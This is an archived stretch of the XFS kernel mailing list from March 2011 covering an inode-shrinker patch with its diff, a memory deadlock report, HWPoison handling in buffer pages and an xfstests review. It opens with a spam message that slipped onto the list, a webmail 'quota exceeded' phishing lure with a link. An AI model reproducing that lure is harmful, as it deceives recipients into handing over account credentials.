X-Barracuda-Spam-Score: -0.74 X-Barracuda-Spam-Status: No, SCORE=-0.74 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=MISSING_HEADERS, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58765 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 1.21 MISSING_HEADERS Missing To: header 0.00 TO_CC_NONE No To: or Cc: header X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Your mailbox has exceeded its limit. Your webmail is currently running 99.7% of its Quota limit of 100%. You cannot send or receive email until you have updated your webmail account. To update your webmail account, copy the link below and paste in your browser to request for upgrade. http://wwwebmastercentre.media.officelive.com/default.aspx We are sincerely sorry for any inconvenience this might cause you; we tend to serve you better. Thanks for your co-operation. Webmail Update Team. From arekm@maven.pl Wed Mar 23 16:21:30 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2NLLNuc116946 for ; Wed, 23 Mar 2011 16:21:30 -0500 X-ASG-Debug-ID: 1300915450-434b02e60000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from smtp-relay.maven.pl (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 8917B159F384; Wed, 23 Mar 2011 14:24:11 -0700 (PDT) Received: from smtp-relay.maven.pl (smtp-relay.maven.pl [193.239.45.138]) by cuda.sgi.com with ESMTP id 1jrbBLo4YVunYp8N; Wed, 23 Mar 2011 14:24:11 -0700 (PDT) Received: from 87-207-113-141.dynamic.chello.pl ([87.207.113.141]:39855 helo=tarm.maven.pl) by smtp-relay.maven.pl with esmtpsa (TLSv1:DHE-RSA-AES256-SHA:256) (Exim 4.73) (envelope-from ) id 1Q2VXD-0005oj-9M; Wed, 23 Mar 2011 22:24:07 +0100 Received: from arekm by tarm.maven.pl with local (Exim 4.74) (envelope-from ) id 1Q2VX9-0006b5-IC; Wed, 23 Mar 2011 22:24:03 +0100 From: Arkadiusz Miskiewicz To: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 5/6] xfs: register the inode cache shrinker before quotachecks Subject: Re: [PATCH 5/6] xfs: register the inode cache shrinker before quotachecks Date: Wed, 23 Mar 2011 22:24:03 +0100 User-Agent: KMail/1.13.6 (Linux/2.6.37; KDE/4.6.1; x86_64; ; ) Cc: Dave Chinner , aelder@sgi.com References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <1300860870-15471-6-git-send-email-david@fromorbit.com> In-Reply-To: <1300860870-15471-6-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: Text/Plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Message-Id: <201103232224.03501.arekm@maven.pl> X-Barracuda-Connect: smtp-relay.maven.pl[193.239.45.138] X-Barracuda-Start-Time: 1300915462 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58768 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wednesday 23 of March 2011, Dave Chinner wrote: > From: Dave Chinner Thanks a lot for this patch. I was able to mount my two ~800GB filesystems= =20 with quota enabled without out of memory/machine reboot suprises (which wer= e=20 happening without this patch every time I tried mount with quota). So Tested-by: Arkadiusz Mi=C5=9Bkiewicz and hope to see it in 2.6.39 . Test was done on patched 2.6.37. >=20 > During mount, we can do a quotacheck that involves a bulkstat pass > on all inodes. If there are more inodes in the filesystem than can > be held in memory, we require the inode cache shrinker to run to > ensure that we don't run out of memory. >=20 > Unfortunately, the inode cache shrinker is not registered until we > get to the end of the superblock setup process, which is after a > quotacheck is run if it is needed. Hence we need to register the > inode cache shrinker earlier in the mount process so that we don't > OOM during mount. This requires that we also initialise the syncd > work before we register the shrinker, so we nee dto juggle that > around as well. >=20 > While there, make sure that we have set up the block sizes in the > VFS superblock correctly before the quotacheck is run so that any > inodes that are cached as a result of the quotacheck have their > block size fields set up correctly. >=20 > Cc: stable@kernel.org > Signed-off-by: Dave Chinner > --- > fs/xfs/linux-2.6/xfs_super.c | 34 ++++++++++++++++++++++++---------- > 1 files changed, 24 insertions(+), 10 deletions(-) >=20 > diff --git a/fs/xfs/linux-2.6/xfs_super.c b/fs/xfs/linux-2.6/xfs_super.c > index 8a70b2a..1ba5c45 100644 > --- a/fs/xfs/linux-2.6/xfs_super.c > +++ b/fs/xfs/linux-2.6/xfs_super.c > @@ -1539,10 +1539,14 @@ xfs_fs_fill_super( > if (error) > goto out_free_sb; >=20 > - error =3D xfs_mountfs(mp); > - if (error) > - goto out_filestream_unmount; > - > + /* > + * we must configure the block size in the superblock before we run the > + * full mount process as the mount process can lookup and cache inodes. > + * For the same reason we must also initialise the syncd and register > + * the inode cache shrinker so that inodes can be reclaimed during > + * operations like a quotacheck that iterate all inodes in the > + * filesystem. > + */ > sb->s_magic =3D XFS_SB_MAGIC; > sb->s_blocksize =3D mp->m_sb.sb_blocksize; > sb->s_blocksize_bits =3D ffs(sb->s_blocksize) - 1; > @@ -1550,6 +1554,16 @@ xfs_fs_fill_super( > sb->s_time_gran =3D 1; > set_posix_acl_flag(sb); >=20 > + error =3D xfs_syncd_init(mp); > + if (error) > + goto out_filestream_unmount; > + > + xfs_inode_shrinker_register(mp); > + > + error =3D xfs_mountfs(mp); > + if (error) > + goto out_syncd_stop; > + > root =3D igrab(VFS_I(mp->m_rootip)); > if (!root) { > error =3D ENOENT; > @@ -1565,14 +1579,11 @@ xfs_fs_fill_super( > goto fail_vnrele; > } >=20 > - error =3D xfs_syncd_init(mp); > - if (error) > - goto fail_vnrele; > - > - xfs_inode_shrinker_register(mp); > - > return 0; >=20 > + out_syncd_stop: > + xfs_inode_shrinker_unregister(mp); > + xfs_syncd_stop(mp); > out_filestream_unmount: > xfs_filestream_unmount(mp); > out_free_sb: > @@ -1596,6 +1607,9 @@ xfs_fs_fill_super( > } >=20 > fail_unmount: > + xfs_inode_shrinker_unregister(mp); > + xfs_syncd_stop(mp); > + > /* > * Blow away any referenced inode in the filestreams cache. > * This can and will cause log traffic as inodes go inactive =2D-=20 Arkadiusz Mi=C5=9Bkiewicz PLD/Linux Team arekm / maven.pl http://ftp.pld-linux.org/ From Sean.Noonan@twosigma.com Wed Mar 23 16:30:42 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2NLUbm6117378 for ; Wed, 23 Mar 2011 16:30:42 -0500 X-ASG-Debug-ID: 1300916017-4e1f010c0000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx5.twosigma.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 34F45140FD80 for ; Wed, 23 Mar 2011 14:33:37 -0700 (PDT) Received: from mx5.twosigma.com (mx5.twosigma.com [208.77.212.35]) by cuda.sgi.com with SMTP id c8nYEvhdaPW1SQmA for ; Wed, 23 Mar 2011 14:33:37 -0700 (PDT) Received: by mx5.twosigma.com (Postfix, from userid 108) id 923533DDB0C; Wed, 23 Mar 2011 21:33:37 +0000 (UTC) Received: from msxaoa3.twosigma.com (nfw2-1-dmz.twosigma.com [38.117.134.174]) by mx5.twosigma.com (Postfix) with ESMTP id 4532E3DDB06; Wed, 23 Mar 2011 21:33:37 +0000 (UTC) Received: from msxaoa6.twosigma.com ([fe80:0000:0000:0000:5d02:8f37:242.212.227.132]) by msxaoa3.twosigma.com ([192.168.200.135]) with mapi; Wed, 23 Mar 2011 17:33:37 -0400 From: Sean Noonan To: "'Dave Chinner'" CC: "'linux-xfs@oss.sgi.com'" , Martin Bligh , Trammell Hudson Date: Wed, 23 Mar 2011 17:33:36 -0400 X-ASG-Orig-Subj: RE: XFS memory allocation deadlock in 2.6.38 Subject: RE: XFS memory allocation deadlock in 2.6.38 Thread-Topic: XFS memory allocation deadlock in 2.6.38 Thread-Index: Acvo6GrbbjY2664GTWm4EnhznDzbMgAuNEug Message-ID: <081DDE43F61F3D43929A181B477DCA95639B532C@MSXAOA6.twosigma.com> References: <081DDE43F61F3D43929A181B477DCA95639B52E8@MSXAOA6.twosigma.com> <20110322232504.GC15270@dastard> In-Reply-To: <20110322232504.GC15270@dastard> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx5.twosigma.com[208.77.212.35] X-Barracuda-Start-Time: 1300916018 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.79 X-Barracuda-Spam-Status: No, SCORE=-1.79 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58769 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > What is the configuration of the machine you are testing on? I can't > reproduce this on a current 2.6.39-tot tree on a 2p/2GB RAM VM that > has it's blockdev images on a single SATA drive.... The machine we are testing with has 12 cores, 12 hyperthreaded siblings, an= d 48GB of RAM. The filesystem is backed by a partition on one large hardwa= re RAID. There is a second bug we've run into that I'll report tomorrow. Could you point me to the current tree you are working with? 2.6.39-tot do= esn't mean anything to me. Sean From david@fromorbit.com Wed Mar 23 17:01:05 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2NM10qU118563 for ; Wed, 23 Mar 2011 17:01:05 -0500 X-ASG-Debug-ID: 1300917829-6ab603930000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id CCE1C159F692 for ; Wed, 23 Mar 2011 15:03:49 -0700 (PDT) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id bIYegvyu23J8uSJ8 for ; Wed, 23 Mar 2011 15:03:49 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkQEANYIik15LK5JgWdsb2JhbAClRRUBARYmJYhNuxANhVwE Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Mar 2011 08:33:47 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q2W9a-0008Ac-1G; Thu, 24 Mar 2011 09:03:46 +1100 Date: Thu, 24 Mar 2011 09:03:45 +1100 From: Dave Chinner To: Sean Noonan Cc: "'linux-xfs@oss.sgi.com'" , Martin Bligh , Trammell Hudson X-ASG-Orig-Subj: Re: XFS memory allocation deadlock in 2.6.38 Subject: Re: XFS memory allocation deadlock in 2.6.38 Message-ID: <20110323220345.GD26611@dastard> References: <081DDE43F61F3D43929A181B477DCA95639B52E8@MSXAOA6.twosigma.com> <20110322232504.GC15270@dastard> <081DDE43F61F3D43929A181B477DCA95639B532C@MSXAOA6.twosigma.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <081DDE43F61F3D43929A181B477DCA95639B532C@MSXAOA6.twosigma.com> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1300917840 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58770 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 23, 2011 at 05:33:36PM -0400, Sean Noonan wrote: > > What is the configuration of the machine you are testing on? I can't > > reproduce this on a current 2.6.39-tot tree on a 2p/2GB RAM VM that > > has it's blockdev images on a single SATA drive.... > > The machine we are testing with has 12 cores, 12 hyperthreaded > siblings, and 48GB of RAM. The filesystem is backed by a > partition on one large hardware RAID. There is a second bug we've > run into that I'll report tomorrow. So why would creating a 16GB file cause and OOM condition if you have 48GB RAM? That doesn't make a whole lot of sense to me. Is that memory free, of are other things running and consuming memory? > Could you point me to the current tree you are working with? > 2.6.39-tot doesn't mean anything to me. tot = Top of Tree. IOWs, 2.6.39-tot means the latest development kernel Linus has released. Cheers, Dave. -- Dave Chinner david@fromorbit.com From Sean.Noonan@twosigma.com Wed Mar 23 17:30:22 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2NMUG3s119654 for ; Wed, 23 Mar 2011 17:30:22 -0500 X-ASG-Debug-ID: 1300919587-046f00c90000-w1Z2WR X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx3.twosigma.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id C2CE5140FF88 for ; Wed, 23 Mar 2011 15:33:07 -0700 (PDT) Received: from mx3.twosigma.com (mx3.twosigma.com [208.77.213.34]) by cuda.sgi.com with SMTP id ADknmrP1q28gmrO7 for ; Wed, 23 Mar 2011 15:33:07 -0700 (PDT) Received: by mx3.twosigma.com (Postfix, from userid 108) id 5D5E2666D1; Wed, 23 Mar 2011 22:33:06 +0000 (UTC) Received: from msxaoa3.twosigma.com (nfw1-1-dmz.twosigma.com [208.77.213.62]) by mx3.twosigma.com (Postfix) with ESMTP id EED75666B3; Wed, 23 Mar 2011 22:33:05 +0000 (UTC) Received: from pfxnyc1.twosigma.com (192.168.30.150) by msxaoa3.twosigma.com (192.168.200.135) with Microsoft SMTP Server (TLS) id 8.1.340.0; Wed, 23 Mar 2011 18:33:05 -0400 Received: from msxaoa6.twosigma.com ([fe80:0000:0000:0000:5d02:8f37:242.212.227.132]) by pfxnyc1.twosigma.com ([192.168.30.150]) with mapi; Wed, 23 Mar 2011 18:33:05 -0400 From: Sean Noonan To: "'Dave Chinner'" CC: "'linux-xfs@oss.sgi.com'" , Martin Bligh , Trammell Hudson Date: Wed, 23 Mar 2011 18:33:04 -0400 X-ASG-Orig-Subj: RE: XFS memory allocation deadlock in 2.6.38 Subject: RE: XFS memory allocation deadlock in 2.6.38 Thread-Topic: XFS memory allocation deadlock in 2.6.38 Thread-Index: Acvppjh5mjFB+Va2T1GGTvpxjvayHgAA9vnQ Message-ID: <081DDE43F61F3D43929A181B477DCA95639B532D@MSXAOA6.twosigma.com> References: <081DDE43F61F3D43929A181B477DCA95639B52E8@MSXAOA6.twosigma.com> <20110322232504.GC15270@dastard> <081DDE43F61F3D43929A181B477DCA95639B532C@MSXAOA6.twosigma.com> <20110323220345.GD26611@dastard> In-Reply-To: <20110323220345.GD26611@dastard> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 X-Barracuda-Connect: mx3.twosigma.com[208.77.213.34] X-Barracuda-Start-Time: 1300919597 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0001 1.0000 -2.0203 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -1.79 X-Barracuda-Spam-Status: No, SCORE=-1.79 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58773 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > So why would creating a 16GB file cause and OOM condition if you > have 48GB RAM? That doesn't make a whole lot of sense to me. Is > that memory free, of are other things running and consuming memory? As far as I know this isn't an OOM condition. It is a bug, which is why I = sent a patch that fixes this specific case earlier today. Sean From david@fromorbit.com Wed Mar 23 17:45:18 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2NMjDMH120242 for ; Wed, 23 Mar 2011 17:45:18 -0500 X-ASG-Debug-ID: 1300920492-421802140000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 3269D3714C2 for ; Wed, 23 Mar 2011 15:48:13 -0700 (PDT) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id WJyRTWCBu3HQ6NsQ for ; Wed, 23 Mar 2011 15:48:13 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkQEAG0Tik15LK5JgWdsb2JhbAClRRUBARYmJYhNuyUNhVwE Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Mar 2011 09:18:11 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q2WqY-0008F5-Q6; Thu, 24 Mar 2011 09:48:10 +1100 Date: Thu, 24 Mar 2011 09:48:10 +1100 From: Dave Chinner To: Andi Kleen Cc: xfs@oss.sgi.com, aelder@sgi.com X-ASG-Orig-Subj: Re: xfs: outstanding patches for 2.6.39 Subject: Re: xfs: outstanding patches for 2.6.39 Message-ID: <20110323224810.GE26611@dastard> References: <1300860870-15471-1-git-send-email-david@fromorbit.com> <20110323113803.GB26611@dastard> <20110323160515.GF21838@one.firstfloor.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110323160515.GF21838@one.firstfloor.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1300920494 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58773 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 23, 2011 at 05:05:15PM +0100, Andi Kleen wrote: > > We can't do that right now, anyway. > > It seemed to work on XFS when we tested it. Undoutedly after your > patch it won't work anymore. And why? We still have exactly the same nuumber of active buffers as before this patch, so exactly the same number of pages that you simply can't replace > > If the page is not in use, we don't care about it after this patch > > set is applied - the page is either active in a buffer or it has been > > freed. If it is in use, then we'll shut the filesystem down if we > > detect the memory corruption just like we currently do. Hence I > > don't see any regression here. > > I think you're confusing the memory_failure() HWPoison path with some XFS > internal checking. I don't think XFS has any HWPoison checking on its own. No, it doesn't. My point is that you can't tear down an active page in a buffer without causing in memory corruption that XFS will notice. That is, the old lifecycle is: alloc buffer alloc page cache page attach page to buffer (active reference) use buffer .... buffer placed on buffer LRU .... buffer reclaimed by shrinker page left in page cache LRU (no active reference) ..... page removed from LRU by memory reclaim During the time that there is an active reference, an uncorrectable memory error will corrupt the contents of the buffer. The memory_failure() path sets flags on the page (page error) and the mapping, and then tries to invalidate the page in the mapping, which may or may not fail. Either way, we still has an active reference to the page so we'll continue to use it regardless of the fact that the page has been poisoned. IOWs, it does not work at all for errors in active metadata buffers on XFS and such memory errors will end up with filesystem metadata corruption. If the page has no active buffers, then it is in the LRU, and invalidating the page will work just fine to remove it from the cache. The new lifecycle is: alloc buffer alloc page attach page to buffer (active reference) use buffer .... buffer placed on buffer LRU .... buffer reclaimed by shrinker free page (no reference at all) IOWs, the page attached to the buffer is only ever in the active state now, which is the case for the existing code where the error propagation simply does not work. And instead of leaving the page on the LRU when the buffer is no longer active, we free it back to the allocator and errors in freed pages are handled just fine by the existing code (just like LRU pages). > > As it is, there is no way for the filesytem to be notified about > > such failures on active pages in buffers, so in reality we can't > > reliably detect them so there is little point in trying to recover > > from such errors. > > Well it works today if the page is in pagecache. memory-failure will > just remove it transparently. It's not transparent as it requires help from the layer above the page cache to handle errors on pages correctly (i.e. the error_remove_page callback). That special handling is completely missing from the XFS buffer cache regardless of whether we use the page cache or not. > In principle you can check for HWPoison manually yourself, but I'm not sure > that is a good way to do it. It'd require a custom callback from memory_failure() and a bunch of restructing to be able to map a page back to the owner buffer efficiently and then tearing down the buffer (clean case) or shutting down the filesystem (dirty case). If we wait for a check of the page state to catch such an error rather than trigger an immediate filesysetm shutdown, then it is too late because we've could have either written the bad memory onto disk (either via a transaction into the log or via buffer writeback) and so we will have propagated the memory error onto disk... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Mar 23 17:47:47 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2NMlgVH120318 for ; Wed, 23 Mar 2011 17:47:47 -0500 X-ASG-Debug-ID: 1300920631-1bdf005e0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 11EEA140FBEA for ; Wed, 23 Mar 2011 15:50:31 -0700 (PDT) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id q7PAgmuRRDpYVCNK for ; Wed, 23 Mar 2011 15:50:31 -0700 (PDT) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AkQEAG0Tik15LK5JgWdsb2JhbAClRRUBARYmJYhNuyUNhVwEkms Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail04.adl6.internode.on.net with ESMTP; 24 Mar 2011 09:20:30 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Q2Wsn-0008Fc-TW; Thu, 24 Mar 2011 09:50:29 +1100 Date: Thu, 24 Mar 2011 09:50:29 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs-oss X-ASG-Orig-Subj: Re: [PATCH V2] xfstests 249: use -F option for xfs_io Subject: Re: [PATCH V2] xfstests 249: use -F option for xfs_io Message-ID: <20110323225029.GF26611@dastard> References: <4D8A1795.3080401@redhat.com> <4D8A19D4.3080807@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4D8A19D4.3080807@redhat.com> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1300920643 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.58775 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Wed, Mar 23, 2011 at 11:03:32AM -0500, Eric Sandeen wrote: > Test 249 was appearing to pass on ext4, but it wasn't really > exercising the test due to lack of "-F" in the xfs_io arguments. > > Without -F the files were created (oddly enough); neither pwrite > nor sendfile were executed, and the diff of the two (empty) > files passed, resulting in a passed test without testing anything. > > So add the -F, capture the output, and test the result of each > xfs_io invocation. Ok. > Also, when it fails, the diff output is huge. Make diff silent, > but describe the diff failure and exit. Excellent - I was going to suggest this myself given you were touching this test. > Signed-off-by: Eric Sandeen Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From BATV+524c80fba09799337e88+2769+infradead.org+hch@bombadil.srs.infradead.org Thu Mar 24 12:14:02 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2OHE0Y4168281 for ; Thu, 24 Mar 2011 12:14:02 -0500 X-ASG-Debug-ID: 1300987027-4b0b01550000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 7915A378752 for ; Thu, 24 Mar 2011 10:17:07 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id A9yuoVn6LJjqpfPH for ; Thu, 24 Mar 2011 10:17:07 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q2o9h-00034D-29; Thu, 24 Mar 2011 17:17:05 +0000 Date: Thu, 24 Mar 2011 13:17:05 -0400 From: Christoph Hellwig To: Adam Lackorzynski Cc: "J. Bruce Fields" , linux-nfs@vger.kernel.org, xfs@oss.sgi.com X-ASG-Orig-Subj: Re: 2.6.38: Quota over NFS4 Subject: Re: 2.6.38: Quota over NFS4 Message-ID: <20110324171704.GA1784@infradead.org> References: <20110320212633.GA26036@fieldses.org> <20110320213111.GO11929@os.inf.tu-dresden.de> <20110320214316.GB26036@fieldses.org> <20110321184043.GC4992@os.inf.tu-dresden.de> <20110321222301.GB472@fieldses.org> <20110322221305.GA5857@os.inf.tu-dresden.de> <20110323150328.GD23418@fieldses.org> <20110323174052.GE5005@os.inf.tu-dresden.de> <20110323190632.GA26306@fieldses.org> <20110323223017.GA5177@os.inf.tu-dresden.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110323223017.GA5177@os.inf.tu-dresden.de> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1300987027 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter 